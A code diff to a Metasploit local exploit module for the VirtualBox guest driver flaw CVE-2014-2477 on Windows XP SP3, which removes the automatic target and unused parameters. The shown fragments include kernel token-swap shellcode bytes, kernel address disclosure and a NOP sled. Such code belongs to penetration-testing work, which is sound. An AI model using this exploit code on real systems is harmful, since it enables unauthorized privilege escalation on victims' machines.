There is only one target

modules/exploits/windows/local/vbox_guest.rb

@@ -38,13 +38,12 @@ class Metasploit3 < Msf::Exploit::Local
         },
       'Targets'       =>
         [
-          [ 'Automatic', { } ],
-          [ 'Windows XP SP3', { } ],
+          [ 'Windows XP SP3', { } ]
         ],
       'References'    =>
         [
-          [ 'CVE', '2014-2477' ],
-          [ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt' ]
+          ['CVE', '2014-2477'],
+          ['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-001.txt']
         ],
       'DisclosureDate'=> 'Jul 15 2014',
       'DefaultTarget' => 0
@@ -108,7 +107,7 @@ class Metasploit3 < Msf::Exploit::Local
     return nil
   end
 
-  def ring0_shellcode(t)
+  def ring0_shellcode
 
     tokenswap = "\x60\x64\xA1\x24\x01\x00\x00"
     tokenswap << "\x8B\x40\x44\x50\xBB\x04"
@@ -152,7 +151,7 @@ class Metasploit3 < Msf::Exploit::Local
     return address
   end
 
-  def disclose_addresses(t)
+  def disclose_addresses
     addresses = {}
 
     vprint_status("Getting the Kernel module name...")
@@ -251,9 +250,8 @@ class Metasploit3 < Msf::Exploit::Local
       fail_with(Failure::NoTarget, "Unable to open \\\\.\\vboxguest device")
     end
 
-    my_target = targets[1]
     print_status("Disclosing the HalDispatchTable address...")
-    @addresses = disclose_addresses(my_target)
+    @addresses = disclose_addresses
     if @addresses.nil?
       session.railgun.kernel32.CloseHandle(handle)
       fail_with(Failure::Unknown, "Filed to disclose necessary address for exploitation. Aborting.")
@@ -263,7 +261,7 @@ class Metasploit3 < Msf::Exploit::Local
 
     print_status("Storing the shellcode in memory...")
     this_proc = session.sys.process.open
-    kernel_shell = ring0_shellcode(my_target)
+    kernel_shell = ring0_shellcode
     kernel_shell_address = 0x1
 
     buf = "\x90" * 0x6000